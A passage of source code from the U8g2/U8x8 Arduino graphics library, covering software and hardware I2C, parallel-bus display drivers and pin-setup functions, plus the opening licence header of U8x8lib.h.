U8X8_UNUSED void *arg_ptr) { return u8x8_byte_sw_i2c(u8x8, msg,arg_int, arg_ptr); } #elif __AVR_ARCH__ == 4 || __AVR_ARCH__ == 5 || __AVR_ARCH__ == 51 || __AVR_ARCH__ == 6 || __AVR_ARCH__ == 103 /* the following static vars are recalculated in U8X8_MSG_BYTE_START_TRANSFER */ /* so, it should be possible to use multiple displays with different pins */ static volatile uint8_t *arduino_i2c_clock_port; static uint8_t arduino_i2c_clock_mask; static uint8_t arduino_i2c_clock_n_mask; static volatile uint8_t *arduino_i2c_data_port; static uint8_t arduino_i2c_data_mask; static uint8_t arduino_i2c_data_n_mask; /* software i2c, ignores ACK response (which is anyway not provided by some displays) also does not allow reading from the device */ static void i2c_delay(u8x8_t *u8x8) U8X8_NOINLINE; static void i2c_delay(u8x8_t *u8x8) { //u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_10MICRO, u8x8->display_info->i2c_bus_clock_100kHz); u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_I2C, u8x8->display_info->i2c_bus_clock_100kHz); } static void i2c_init(u8x8_t *u8x8) { *arduino_i2c_clock_port |= arduino_i2c_clock_mask; *arduino_i2c_data_port |= arduino_i2c_data_mask; i2c_delay(u8x8); } /* actually, the scl line is not observed, so this procedure does not return a value */ static void i2c_read_scl_and_delay(u8x8_t *u8x8) { /* set as input (line will be high) */ *arduino_i2c_clock_port |= arduino_i2c_clock_mask; i2c_delay(u8x8); } static void i2c_clear_scl(u8x8_t *u8x8) { *arduino_i2c_clock_port &= arduino_i2c_clock_n_mask; } static void i2c_read_sda(u8x8_t *u8x8) { /* set as input (line will be high) */ *arduino_i2c_data_port |= arduino_i2c_data_mask; } static void i2c_clear_sda(u8x8_t *u8x8) { /* set open collector and drive low */ *arduino_i2c_data_port &= arduino_i2c_data_n_mask; } static void i2c_start(u8x8_t *u8x8) { if ( u8x8->i2c_started != 0 ) { /* if already started: do restart */ i2c_read_sda(u8x8); /* SDA = 1 */ i2c_delay(u8x8); i2c_read_scl_and_delay(u8x8); } i2c_read_sda(u8x8); /* send the start condition, both lines go from 1 to 0 */ i2c_clear_sda(u8x8); i2c_delay(u8x8); i2c_clear_scl(u8x8); u8x8->i2c_started = 1; } static void i2c_stop(u8x8_t *u8x8) { /* set SDA to 0 */ i2c_clear_sda(u8x8); i2c_delay(u8x8); /* now release all lines */ i2c_read_scl_and_delay(u8x8); /* set SDA to 1 */ i2c_read_sda(u8x8); i2c_delay(u8x8); u8x8->i2c_started = 0; } static void i2c_write_bit(u8x8_t *u8x8, uint8_t val) { if (val) i2c_read_sda(u8x8); else i2c_clear_sda(u8x8); i2c_delay(u8x8); i2c_read_scl_and_delay(u8x8); i2c_clear_scl(u8x8); } static void i2c_read_bit(u8x8_t *u8x8) { //uint8_t val; /* do not drive SDA */ i2c_read_sda(u8x8); i2c_delay(u8x8); i2c_read_scl_and_delay(u8x8); i2c_read_sda(u8x8); i2c_delay(u8x8); i2c_clear_scl(u8x8); //return val; } static void i2c_write_byte(u8x8_t *u8x8, uint8_t b) { i2c_write_bit(u8x8, b & 128); i2c_write_bit(u8x8, b & 64); i2c_write_bit(u8x8, b & 32); i2c_write_bit(u8x8, b & 16); i2c_write_bit(u8x8, b & 8); i2c_write_bit(u8x8, b & 4); i2c_write_bit(u8x8, b & 2); i2c_write_bit(u8x8, b & 1); /* read ack from client */ /* 0: ack was given by client */ /* 1: nothing happend during ack cycle */ i2c_read_bit(u8x8); } extern "C" uint8_t u8x8_byte_arduino_sw_i2c(U8X8_UNUSED u8x8_t *u8x8, U8X8_UNUSED uint8_t msg, U8X8_UNUSED uint8_t arg_int, U8X8_UNUSED void *arg_ptr) { uint8_t *data; switch(msg) { case U8X8_MSG_BYTE_SEND: data = (uint8_t *)arg_ptr; while( arg_int > 0 ) { i2c_write_byte(u8x8, *data); data++; arg_int--; } break; case U8X8_MSG_BYTE_INIT: pinMode(u8x8->pins[U8X8_PIN_I2C_CLOCK], OUTPUT); digitalWrite(u8x8->pins[U8X8_PIN_I2C_CLOCK], 1); pinMode(u8x8->pins[U8X8_PIN_I2C_DATA], OUTPUT); digitalWrite(u8x8->pins[U8X8_PIN_I2C_DATA], 1); i2c_init(u8x8); break; case U8X8_MSG_BYTE_SET_DC: break; case U8X8_MSG_BYTE_START_TRANSFER: /* there is no consistency checking for u8x8->pins[U8X8_PIN_I2C_CLOCK] */ arduino_i2c_clock_port = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_I2C_CLOCK])); arduino_i2c_clock_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_I2C_CLOCK]); arduino_i2c_clock_n_mask = ~arduino_i2c_clock_mask; /* there is no consistency checking for u8x8->pins[U8X8_PIN_I2C_DATA] */ arduino_i2c_data_port = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_I2C_DATA])); arduino_i2c_data_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_I2C_DATA]); arduino_i2c_data_n_mask = ~arduino_i2c_data_mask; i2c_start(u8x8); i2c_write_byte(u8x8, u8x8_GetI2CAddress(u8x8)); break; case U8X8_MSG_BYTE_END_TRANSFER: i2c_stop(u8x8); break; default: return 0; } return 1; } #else /* not AVR architecture, fallback */ extern "C" uint8_t u8x8_byte_arduino_sw_i2c(U8X8_UNUSED u8x8_t *u8x8, U8X8_UNUSED uint8_t msg, U8X8_UNUSED uint8_t arg_int, U8X8_UNUSED void *arg_ptr) { return u8x8_byte_sw_i2c(u8x8, msg,arg_int, arg_ptr); } #endif /*=============================================*/ /*=== HARDWARE I2C ===*/ extern "C" uint8_t u8x8_byte_arduino_hw_i2c(U8X8_UNUSED u8x8_t *u8x8, U8X8_UNUSED uint8_t msg, U8X8_UNUSED uint8_t arg_int, U8X8_UNUSED void *arg_ptr) { #ifdef U8X8_HAVE_HW_I2C switch(msg) { case U8X8_MSG_BYTE_SEND: Wire.write((uint8_t *)arg_ptr, (int)arg_int); break; case U8X8_MSG_BYTE_INIT: if ( u8x8->bus_clock == 0 ) /* issue 769 */ u8x8->bus_clock = u8x8->display_info->i2c_bus_clock_100kHz * 100000UL; #if defined(ESP8266) || defined(ARDUINO_ARCH_ESP8266) || defined(ESP_PLATFORM) || defined(ARDUINO_ARCH_ESP32) /* for ESP8266/ESP32, Wire.begin has two more arguments: clock and data */ if ( u8x8->pins[U8X8_PIN_I2C_CLOCK] != U8X8_PIN_NONE && u8x8->pins[U8X8_PIN_I2C_DATA] != U8X8_PIN_NONE ) { // second argument for the wire lib is the clock pin. In u8g2, the first argument of the clock pin in the clock/data pair Wire.begin((int)u8x8->pins[U8X8_PIN_I2C_DATA] , u8x8->pins[U8X8_PIN_I2C_CLOCK]); } else { Wire.begin(); } #else Wire.begin(); #endif break; case U8X8_MSG_BYTE_SET_DC: break; case U8X8_MSG_BYTE_START_TRANSFER: #if ARDUINO >= 10600 /* not sure when the setClock function was introduced, but it is there since 1.6.0 */ /* if there is any error with Wire.setClock() just remove this function call by */ /* defining U8X8_DO_NOT_SET_WIRE_CLOCK */ #ifndef U8X8_DO_NOT_SET_WIRE_CLOCK Wire.setClock(u8x8->bus_clock); #endif #endif Wire.beginTransmission(u8x8_GetI2CAddress(u8x8)>>1); break; case U8X8_MSG_BYTE_END_TRANSFER: Wire.endTransmission(); break; default: return 0; } #endif return 1; } extern "C" uint8_t u8x8_byte_arduino_2nd_hw_i2c(U8X8_UNUSED u8x8_t *u8x8, U8X8_UNUSED uint8_t msg, U8X8_UNUSED uint8_t arg_int, U8X8_UNUSED void *arg_ptr) { #ifdef U8X8_HAVE_2ND_HW_I2C switch(msg) { case U8X8_MSG_BYTE_SEND: Wire1.write((uint8_t *)arg_ptr, (int)arg_int); break; case U8X8_MSG_BYTE_INIT: if ( u8x8->bus_clock == 0 ) /* issue 769 */ u8x8->bus_clock = u8x8->display_info->i2c_bus_clock_100kHz * 100000UL; Wire1.begin(); break; case U8X8_MSG_BYTE_SET_DC: break; case U8X8_MSG_BYTE_START_TRANSFER: #if ARDUINO >= 10600 /* not sure when the setClock function was introduced, but it is there since 1.6.0 */ /* if there is any error with Wire.setClock() just remove this function call by */ /* defining U8X8_DO_NOT_SET_WIRE_CLOCK */ #ifndef U8X8_DO_NOT_SET_WIRE_CLOCK Wire1.setClock(u8x8->bus_clock); #endif #endif Wire1.beginTransmission(u8x8_GetI2CAddress(u8x8)>>1); break; case U8X8_MSG_BYTE_END_TRANSFER: Wire1.endTransmission(); break; default: return 0; } #endif return 1; } #endif // U8X8_USE_PINS /*=============================================*/ /* replacement for a more faster u8x8_byte_8bit_8080mode in general u8x8_byte_8bit_8080mode could be a fallback: uint8_t u8x8_byte_arduino_8bit_8080mode(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { return u8x8_byte_8bit_8080mode(u8x8, msg,arg_int, arg_ptr); } */ #ifndef __AVR_ARCH__ #define __AVR_ARCH__ 0 #endif #if !defined(U8X8_USE_PINS) /* no pin information (very strange), so fallback */ extern "C" uint8_t u8x8_byte_arduino_8bit_8080mode(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { return u8x8_byte_8bit_8080mode(u8x8, msg,arg_int, arg_ptr); } #elif __AVR_ARCH__ == 4 || __AVR_ARCH__ == 5 || __AVR_ARCH__ == 51 || __AVR_ARCH__ == 6 || __AVR_ARCH__ == 103 /* this function completly replaces u8x8_byte_8bit_8080mode*/ extern "C" uint8_t u8x8_byte_arduino_8bit_8080mode(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t i, b; uint8_t *data; /* the following static vars are recalculated in U8X8_MSG_BYTE_START_TRANSFER */ /* so, it should be possible to use multiple displays with different pins */ static volatile uint8_t *arduino_e_port; static volatile uint8_t arduino_e_mask; static volatile uint8_t arduino_e_n_mask; static volatile uint8_t *arduino_data_port[8]; static volatile uint8_t arduino_data_mask[8]; static volatile uint8_t arduino_data_n_mask[8]; switch(msg) { case U8X8_MSG_BYTE_SEND: data = (uint8_t *)arg_ptr; while( arg_int > 0 ) { b = *data; data++; arg_int--; for( i = 0; i < 8; i++ ) { if ( b & 1 ) *arduino_data_port[i] |= arduino_data_mask[i]; else *arduino_data_port[i] &= arduino_data_n_mask[i]; b >>= 1; } *arduino_e_port &= arduino_e_n_mask; /* AVR Architecture is very slow, extra call is not required */ //u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->sda_setup_time_ns); u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->data_setup_time_ns); *arduino_e_port |= arduino_e_mask; /* AVR Architecture is very slow, extra call is not required */ //u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->sck_pulse_width_ns); u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->write_pulse_width_ns); } break; case U8X8_MSG_BYTE_INIT: /* disable chipselect */ u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); /* no wait required here */ /* ensure that the enable signal is high */ u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 1); break; case U8X8_MSG_BYTE_SET_DC: u8x8_gpio_SetDC(u8x8, arg_int); break; case U8X8_MSG_BYTE_START_TRANSFER: u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_enable_level); u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL); /* there is no consistency checking for u8x8->pins[U8X8_PIN_E] */ arduino_e_port = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_E])); arduino_e_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_E]); arduino_e_n_mask = ~arduino_e_mask; /* there is no consistency checking for u8x8->pins[U8X8_PIN_D0] */ for( i = 0; i < 8; i++ ) { arduino_data_port[i] = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_D0+i])); arduino_data_mask[i] = digitalPinToBitMask(u8x8->pins[U8X8_PIN_D0+i]); arduino_data_n_mask[i] = ~arduino_data_mask[i]; } break; case U8X8_MSG_BYTE_END_TRANSFER: u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL); u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); break; default: return 0; } return 1; } #else /* fallback */ extern "C" uint8_t u8x8_byte_arduino_8bit_8080mode(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { return u8x8_byte_8bit_8080mode(u8x8, msg,arg_int, arg_ptr); } #endif /*=============================================*/ /* replacement for a more faster u8x8_byte_ks0108 in general u8x8_byte_ks0108 could be a fallback: uint8_t u8x8_byte_arduino_ks0108(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { return u8x8_byte_ks0108(u8x8, msg,arg_int, arg_ptr); } */ #ifndef __AVR_ARCH__ #define __AVR_ARCH__ 0 #endif #if !defined(U8X8_USE_PINS) /* no pin information (very strange), so fallback */ extern "C" uint8_t u8x8_byte_arduino_ks0108(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { return u8x8_byte_ks0108(u8x8, msg,arg_int, arg_ptr); } #elif __AVR_ARCH__ == 4 || __AVR_ARCH__ == 5 || __AVR_ARCH__ == 51 || __AVR_ARCH__ == 6 || __AVR_ARCH__ == 103 /* this function completly replaces u8x8_byte_ks0108*/ extern "C" uint8_t u8x8_byte_arduino_ks0108(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t i, b; uint8_t *data; /* the following static vars are recalculated in U8X8_MSG_BYTE_START_TRANSFER */ /* so, it should be possible to use multiple displays with different pins */ static volatile uint8_t *arduino_e_port; static volatile uint8_t arduino_e_mask; static volatile uint8_t arduino_e_n_mask; static volatile uint8_t *arduino_data_port[8]; static volatile uint8_t arduino_data_mask[8]; static volatile uint8_t arduino_data_n_mask[8]; switch(msg) { case U8X8_MSG_BYTE_SEND: data = (uint8_t *)arg_ptr; while( arg_int > 0 ) { b = *data; data++; arg_int--; for( i = 0; i < 8; i++ ) { if ( b & 1 ) *arduino_data_port[i] |= arduino_data_mask[i]; else *arduino_data_port[i] &= arduino_data_n_mask[i]; b >>= 1; } *arduino_e_port |= arduino_e_mask; /* AVR Architecture is very slow, extra call is not required */ u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->data_setup_time_ns); *arduino_e_port &= arduino_e_n_mask; /* AVR Architecture is very slow, extra call is not required */ u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->write_pulse_width_ns); } break; case U8X8_MSG_BYTE_INIT: /* disable chipselect */ u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); /* no wait required here */ /* ensure that the enable signal is low */ u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 0); break; case U8X8_MSG_BYTE_SET_DC: u8x8_gpio_SetDC(u8x8, arg_int); break; case U8X8_MSG_BYTE_START_TRANSFER: u8x8_byte_set_ks0108_cs(u8x8, arg_int); u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL); /* there is no consistency checking for u8x8->pins[U8X8_PIN_E] */ arduino_e_port = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_E])); arduino_e_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_E]); arduino_e_n_mask = ~arduino_e_mask; /* there is no consistency checking for u8x8->pins[U8X8_PIN_D0] */ for( i = 0; i < 8; i++ ) { arduino_data_port[i] = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_D0+i])); arduino_data_mask[i] = digitalPinToBitMask(u8x8->pins[U8X8_PIN_D0+i]); arduino_data_n_mask[i] = ~arduino_data_mask[i]; } break; case U8X8_MSG_BYTE_END_TRANSFER: u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL); u8x8_byte_set_ks0108_cs(u8x8, arg_int); break; default: return 0; } return 1; } #else /* fallback */ extern "C" uint8_t u8x8_byte_arduino_ks0108(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { return u8x8_byte_ks0108(u8x8, msg,arg_int, arg_ptr); } #endif #endif /*ARDUINO*/ #ifdef U8X8_USE_PINS /* use U8X8_PIN_NONE as value for "reset", if there is no reset line */ void u8x8_SetPin_4Wire_SW_SPI(u8x8_t *u8x8, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset) { u8x8_SetPin(u8x8, U8X8_PIN_SPI_CLOCK, clock); u8x8_SetPin(u8x8, U8X8_PIN_SPI_DATA, data); u8x8_SetPin(u8x8, U8X8_PIN_CS, cs); u8x8_SetPin(u8x8, U8X8_PIN_DC, dc); u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset); } #ifdef _obsolete_com_specific_setup void u8x8_Setup_4Wire_SW_SPI(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset) { u8x8_Setup(u8x8, display_cb, u8x8_cad_001, u8x8_byte_4wire_sw_spi, u8x8_gpio_and_delay_arduino); /* assign individual pin values (only for ARDUINO, if pin_list is available) */ u8x8_SetPin(u8x8, U8X8_PIN_SPI_CLOCK, clock); u8x8_SetPin(u8x8, U8X8_PIN_SPI_DATA, data); u8x8_SetPin(u8x8, U8X8_PIN_CS, cs); u8x8_SetPin(u8x8, U8X8_PIN_DC, dc); u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset); } #endif /* obsolete com specific setup */ void u8x8_SetPin_3Wire_SW_SPI(u8x8_t *u8x8, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset) { u8x8_SetPin(u8x8, U8X8_PIN_SPI_CLOCK, clock); u8x8_SetPin(u8x8, U8X8_PIN_SPI_DATA, data); u8x8_SetPin(u8x8, U8X8_PIN_CS, cs); u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset); } #ifdef _obsolete_com_specific_setup void u8x8_Setup_3Wire_SW_SPI(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset) { u8x8_Setup(u8x8, display_cb, u8x8_cad_001, u8x8_byte_3wire_sw_spi, u8x8_gpio_and_delay_arduino); /* assign individual pin values (only for ARDUINO, if pin_list is available) */ u8x8_SetPin(u8x8, U8X8_PIN_SPI_CLOCK, clock); u8x8_SetPin(u8x8, U8X8_PIN_SPI_DATA, data); u8x8_SetPin(u8x8, U8X8_PIN_CS, cs); u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset); } #endif /* obsolete com specific setup */ /* use U8X8_PIN_NONE as value for "reset", if there is no reset line */ void u8x8_SetPin_3Wire_HW_SPI(u8x8_t *u8x8, uint8_t cs, uint8_t reset) { u8x8_SetPin(u8x8, U8X8_PIN_CS, cs); u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset); } /* use U8X8_PIN_NONE as value for "reset", if there is no reset line */ void u8x8_SetPin_4Wire_HW_SPI(u8x8_t *u8x8, uint8_t cs, uint8_t dc, uint8_t reset) { u8x8_SetPin(u8x8, U8X8_PIN_CS, cs); u8x8_SetPin(u8x8, U8X8_PIN_DC, dc); u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset); } void u8x8_SetPin_ST7920_HW_SPI(u8x8_t *u8x8, uint8_t cs, uint8_t reset) { u8x8_SetPin(u8x8, U8X8_PIN_CS, cs); u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset); } #ifdef _obsolete_com_specific_setup void u8x8_Setup_4Wire_HW_SPI(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t cs, uint8_t dc, uint8_t reset) { u8x8_Setup(u8x8, display_cb, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); /* assign individual pin values (only for ARDUINO, if pin_list is available) */ u8x8_SetPin(u8x8, U8X8_PIN_CS, cs); u8x8_SetPin(u8x8, U8X8_PIN_DC, dc); u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset); } #endif /* obsolete com specific setup */ void u8x8_SetPin_SW_I2C(u8x8_t *u8x8, uint8_t clock, uint8_t data, uint8_t reset) { u8x8_SetPin(u8x8, U8X8_PIN_I2C_CLOCK, clock); u8x8_SetPin(u8x8, U8X8_PIN_I2C_DATA, data); u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset); } #ifdef _obsolete_com_specific_setup void u8x8_Setup_SSD13xx_SW_I2C(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t clock, uint8_t data, uint8_t reset) { u8x8_Setup(u8x8, display_cb, u8x8_cad_001, u8x8_byte_ssd13xx_sw_i2c, u8x8_gpio_and_delay_arduino); /* assign individual pin values (only for ARDUINO, if pin_list is available) */ u8x8_SetPin(u8x8, U8X8_PIN_I2C_CLOCK, clock); u8x8_SetPin(u8x8, U8X8_PIN_I2C_DATA, data); u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset); } #endif /* obsolete com specific setup */ void u8x8_SetPin_HW_I2C(u8x8_t *u8x8, uint8_t reset, uint8_t clock, uint8_t data) { u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset); u8x8_SetPin(u8x8, U8X8_PIN_I2C_CLOCK, clock); u8x8_SetPin(u8x8, U8X8_PIN_I2C_DATA, data); } void u8x8_SetPin_8Bit_6800(u8x8_t *u8x8, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset) { u8x8_SetPin(u8x8, U8X8_PIN_D0, d0); u8x8_SetPin(u8x8, U8X8_PIN_D1, d1); u8x8_SetPin(u8x8, U8X8_PIN_D2, d2); u8x8_SetPin(u8x8, U8X8_PIN_D3, d3); u8x8_SetPin(u8x8, U8X8_PIN_D4, d4); u8x8_SetPin(u8x8, U8X8_PIN_D5, d5); u8x8_SetPin(u8x8, U8X8_PIN_D6, d6); u8x8_SetPin(u8x8, U8X8_PIN_D7, d7); u8x8_SetPin(u8x8, U8X8_PIN_E, enable); u8x8_SetPin(u8x8, U8X8_PIN_CS, cs); u8x8_SetPin(u8x8, U8X8_PIN_DC, dc); u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset); } #ifdef _obsolete_com_specific_setup void u8x8_Setup_8Bit_6800(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset) { u8x8_Setup(u8x8, display_cb, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); /* assign individual pin values (only for ARDUINO, if pin_list is available) */ u8x8_SetPin(u8x8, U8X8_PIN_D0, d0); u8x8_SetPin(u8x8, U8X8_PIN_D1, d1); u8x8_SetPin(u8x8, U8X8_PIN_D2, d2); u8x8_SetPin(u8x8, U8X8_PIN_D3, d3); u8x8_SetPin(u8x8, U8X8_PIN_D4, d4); u8x8_SetPin(u8x8, U8X8_PIN_D5, d5); u8x8_SetPin(u8x8, U8X8_PIN_D6, d6); u8x8_SetPin(u8x8, U8X8_PIN_D7, d7); u8x8_SetPin(u8x8, U8X8_PIN_E, enable); u8x8_SetPin(u8x8, U8X8_PIN_CS, cs); u8x8_SetPin(u8x8, U8X8_PIN_DC, dc); u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset); } #endif /* obsolete com specific setup */ void u8x8_SetPin_8Bit_8080(u8x8_t *u8x8, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t wr, uint8_t cs, uint8_t dc, uint8_t reset) { u8x8_SetPin(u8x8, U8X8_PIN_D0, d0); u8x8_SetPin(u8x8, U8X8_PIN_D1, d1); u8x8_SetPin(u8x8, U8X8_PIN_D2, d2); u8x8_SetPin(u8x8, U8X8_PIN_D3, d3); u8x8_SetPin(u8x8, U8X8_PIN_D4, d4); u8x8_SetPin(u8x8, U8X8_PIN_D5, d5); u8x8_SetPin(u8x8, U8X8_PIN_D6, d6); u8x8_SetPin(u8x8, U8X8_PIN_D7, d7); u8x8_SetPin(u8x8, U8X8_PIN_E, wr); u8x8_SetPin(u8x8, U8X8_PIN_CS, cs); u8x8_SetPin(u8x8, U8X8_PIN_DC, dc); u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset); } #ifdef _obsolete_com_specific_setup void u8x8_Setup_8Bit_8080(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t wr, uint8_t cs, uint8_t dc, uint8_t reset) { u8x8_Setup(u8x8, display_cb, u8x8_cad_001, u8x8_byte_8bit_8080mode, u8x8_gpio_and_delay_arduino); /* assign individual pin values (only for ARDUINO, if pin_list is available) */ u8x8_SetPin(u8x8, U8X8_PIN_D0, d0); u8x8_SetPin(u8x8, U8X8_PIN_D1, d1); u8x8_SetPin(u8x8, U8X8_PIN_D2, d2); u8x8_SetPin(u8x8, U8X8_PIN_D3, d3); u8x8_SetPin(u8x8, U8X8_PIN_D4, d4); u8x8_SetPin(u8x8, U8X8_PIN_D5, d5); u8x8_SetPin(u8x8, U8X8_PIN_D6, d6); u8x8_SetPin(u8x8, U8X8_PIN_D7, d7); u8x8_SetPin(u8x8, U8X8_PIN_E, wr); u8x8_SetPin(u8x8, U8X8_PIN_CS, cs); u8x8_SetPin(u8x8, U8X8_PIN_DC, dc); u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset); } #endif /* obsolete com specific setup */ void u8x8_SetPin_KS0108(u8x8_t *u8x8, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset) { u8x8_SetPin(u8x8, U8X8_PIN_D0, d0); u8x8_SetPin(u8x8, U8X8_PIN_D1, d1); u8x8_SetPin(u8x8, U8X8_PIN_D2, d2); u8x8_SetPin(u8x8, U8X8_PIN_D3, d3); u8x8_SetPin(u8x8, U8X8_PIN_D4, d4); u8x8_SetPin(u8x8, U8X8_PIN_D5, d5); u8x8_SetPin(u8x8, U8X8_PIN_D6, d6); u8x8_SetPin(u8x8, U8X8_PIN_D7, d7); u8x8_SetPin(u8x8, U8X8_PIN_E, enable); u8x8_SetPin(u8x8, U8X8_PIN_DC, dc); u8x8_SetPin(u8x8, U8X8_PIN_CS, cs0); u8x8_SetPin(u8x8, U8X8_PIN_CS1, cs1); u8x8_SetPin(u8x8, U8X8_PIN_CS2, cs2); u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset); } void u8x8_SetPin_SED1520(u8x8_t *u8x8, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t dc, uint8_t e1, uint8_t e2, uint8_t reset) { u8x8_SetPin(u8x8, U8X8_PIN_D0, d0); u8x8_SetPin(u8x8, U8X8_PIN_D1, d1); u8x8_SetPin(u8x8, U8X8_PIN_D2, d2); u8x8_SetPin(u8x8, U8X8_PIN_D3, d3); u8x8_SetPin(u8x8, U8X8_PIN_D4, d4); u8x8_SetPin(u8x8, U8X8_PIN_D5, d5); u8x8_SetPin(u8x8, U8X8_PIN_D6, d6); u8x8_SetPin(u8x8, U8X8_PIN_D7, d7); u8x8_SetPin(u8x8, U8X8_PIN_E, e1); u8x8_SetPin(u8x8, U8X8_PIN_CS, e2); u8x8_SetPin(u8x8, U8X8_PIN_DC, dc); u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset); } #endif // U8X8_USE_PINS ================================================ FILE: Bibliotecas/U8g2/src/U8x8lib.h ================================================ /* U8x8lib.h C++ Arduino wrapper for the u8x8 struct and c functions. Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef U8X8LIB_HH #define 